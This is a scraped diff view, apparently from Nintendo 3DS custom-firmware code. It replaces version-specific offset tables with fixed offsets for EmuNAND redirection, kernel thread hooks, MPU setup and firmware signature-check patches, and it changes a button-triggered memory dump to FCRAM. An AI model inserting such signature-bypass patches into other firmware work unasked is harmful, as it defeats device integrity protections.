|
||||
return ret;
|
||||
u32 emuCode(void){
|
||||
return KERNEL9 + (0x0801A4C0 - K9_ADDR);
|
||||
}
|
||||
|
||||
//Where thread code is stored in firm
|
||||
u32 threadCode(u32 kver){
|
||||
u32 ret = NULL;
|
||||
switch(kver){
|
||||
case 0x04:
|
||||
case 0x0C:
|
||||
case 0x0F:
|
||||
ret = KERNEL9 + (0x0801A6E0 - K9_ADDR);
|
||||
case 0x18:
|
||||
ret = KERNEL9 + v9_6_Offset + (0x0801A6E0 - K9_ADDR);
|
||||
break;
|
||||
}
|
||||
return ret;
|
||||
u32 threadCode(void){
|
||||
return KERNEL9 + (0x0801A6E0 - K9_ADDR);
|
||||
}
|
||||
|
||||
//Area of MPU setting code
|
||||
u32 mpuCode(u32 kver){
|
||||
u32 ret = NULL;
|
||||
switch(kver){
|
||||
case 0x04:
|
||||
case 0x0C:
|
||||
case 0x0F:
|
||||
ret = KERNEL9 + (0x0801B3D4 - K9_ADDR);
|
||||
break;
|
||||
case 0x18:
|
||||
ret = KERNEL9 + v9_6_Offset + (0x0801B3D4 - K9_ADDR);
|
||||
break;
|
||||
}
|
||||
return ret;
|
||||
u32 mpuCode(void){
|
||||
return KERNEL9 + (0x0801B3D4 - K9_ADDR);
|
||||
}
|
||||
|
||||
//Offsets to redirect to thread code
|
||||
u32 threadHook(u8 val, u32 kver){
|
||||
u32 ret = NULL;
|
||||
switch(kver){
|
||||
case 0x04:
|
||||
ret = val == 1 ?
|
||||
PROC9 + (0x0808690C - P9_ADDR) :
|
||||
PROC9 + (0x08086940 - P9_ADDR);
|
||||
break;
|
||||
case 0x0C:
|
||||
//TODO: find
|
||||
break;
|
||||
case 0x0F:
|
||||
ret = val == 1 ?
|
||||
PROC9 + (0x080860B0 - P9_ADDR) :
|
||||
PROC9 + (0x080860E4 - P9_ADDR);
|
||||
break;
|
||||
case 0x18:
|
||||
ret = val == 1 ?
|
||||
PROC9 + v9_6_Offset + (0x08086140 - P9_ADDR) :
|
||||
PROC9 + v9_6_Offset + (0x08086174 - P9_ADDR);
|
||||
break;
|
||||
}
|
||||
return ret;
|
||||
u32 threadHook(u8 val){
|
||||
return val == 1 ?
|
||||
PROC9 + (0x08086140 - P9_ADDR):
|
||||
PROC9 + (0x08086174 - P9_ADDR);
|
||||
}
|
||||
|
||||
//Offsets to redirect to Emunand code
|
||||
u32 emuHook(u8 val, u32 kver){ //latest only
|
||||
u32 ret = NULL;
|
||||
switch(kver){
|
||||
case 0x04:
|
||||
//???
|
||||
break;
|
||||
case 0x0C:
|
||||
//???
|
||||
break;
|
||||
case 0x0F:
|
||||
if(val == 1) ret = PROC9 + (0x0807882C - P9_ADDR);
|
||||
else if(val == 2) ret = PROC9 + (0x0807886C - P9_ADDR);
|
||||
break;
|
||||
case 0x18:
|
||||
if(val == 1) ret = PROC9 + v9_6_Offset + (0x0807882C - P9_ADDR);
|
||||
else if(val == 2) ret = PROC9 + v9_6_Offset + (0x0807886C - P9_ADDR);
|
||||
break;
|
||||
}
|
||||
return ret;
|
||||
u32 emuHook(u8 val){ //latest only
|
||||
return val == 1 ?
|
||||
PROC9 + (0x0807882C - P9_ADDR):
|
||||
PROC9 + (0x0807886C - P9_ADDR);
|
||||
}
|
||||
|
||||
//Offsets to redirect to thread code
|
||||
u32 sigPatch(u8 val, u32 kver){
|
||||
u32 ret = NULL;
|
||||
switch(kver){
|
||||
case 0x04:
|
||||
ret = val == 1 ?
|
||||
PROC9 + (0x08063C28 - P9_ADDR) :
|
||||
PROC9 + (0x0805E2D4 - P9_ADDR);
|
||||
break;
|
||||
case 0x0C:
|
||||
ret = val == 1 ?
|
||||
0 :
|
||||
0; //TODO: find
|
||||
break;
|
||||
case 0x0F:
|
||||
ret = val == 1 ?
|
||||
PROC9 + (0x08063374 - P9_ADDR) :
|
||||
PROC9 + (0x0805D498 - P9_ADDR);
|
||||
break;
|
||||
case 0x18:
|
||||
ret = val == 1 ?
|
||||
PROC9 + v9_6_Offset + (0x080632B8 - P9_ADDR) :
|
||||
PROC9 + v9_6_Offset + (0x0805D628 - P9_ADDR);
|
||||
break;
|
||||
}
|
||||
return ret;
|
||||
u32 sigPatch(u8 val){
|
||||
return val == 1 ?
|
||||
PROC9 + (0x080632B8 - P9_ADDR) :
|
||||
PROC9 + (0x0805D628 - P9_ADDR);
|
||||
}
|
@ -21,11 +21,11 @@ u8 th2[4];
|
||||
/**************************************************
|
||||
* Functions
|
||||
**************************************************/
|
||||
u32 emuCode(u32 kver);
|
||||
u32 mpuCode(u32 kver);
|
||||
u32 threadCode(u32 kver);
|
||||
u32 threadHook(u8 val, u32 kver);
|
||||
u32 emuHook(u8 val, u32 kver);
|
||||
u32 sigPatch(u8 val, u32 kver);
|
||||
u32 emuCode(void);
|
||||
u32 mpuCode(void);
|
||||
u32 threadCode(void);
|
||||
u32 threadHook(u8 val);
|
||||
u32 emuHook(u8 val);
|
||||
u32 sigPatch(u8 val);
|
||||
|
||||
#endif
|
@ -10,10 +10,10 @@ void *memset(void * ptr, int value, unsigned int num){
|
||||
}
|
||||
|
||||
int strcomp(char* s1, char* s2, unsigned int size){
|
||||
for(int i = 0; i < size; i++){
|
||||
for(int i = 0; i < size*2; i++){
|
||||
if(s1[i] != s2[i]) return 0;
|
||||
}
|
||||
return 1;
|
||||
return 1;
|
||||
}
|
||||
|
||||
void strcopy(char* dest, char* source, unsigned int size){
|
||||
|
@ -68,7 +68,9 @@ void screenShot(int frame){
|
||||
void patches(void){
|
||||
//Change version string
|
||||
for(int i = 0; i < 0x600000; i+=4){
|
||||
if(strcomp((void*)0x27B00000 - i, (void*)L"Ver.", 4)) strcopy((void*)0x27B00000 - i, (void*)L"\uE024Rei", 4);
|
||||
if(strcomp((void*)0x27B00000 - i, (void*)L"Ver.", 4)){
|
||||
if(strcomp((void*)0x27B00000 - i + 0x28, (void*)"T_ver_00", 4)) strcopy((void*)0x27B00000 - i, (void*)L"\uE024Rei", 4);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -79,7 +81,7 @@ void thread(void){
|
||||
screenShot(BOT_FRAME);
|
||||
}
|
||||
if(isPressed(BUTTON_START | BUTTON_X)){
|
||||
memdump(L"sdmc:/BootRom.bin", 0xFFFF0000, 0x8000);
|
||||
memdump(L"sdmc:/FCRAM.bin", (void*)0x27500000, 0x600000);
|
||||
}
|
||||
patches();
|
||||
}
|
||||
|
Reference in New Issue
Block a user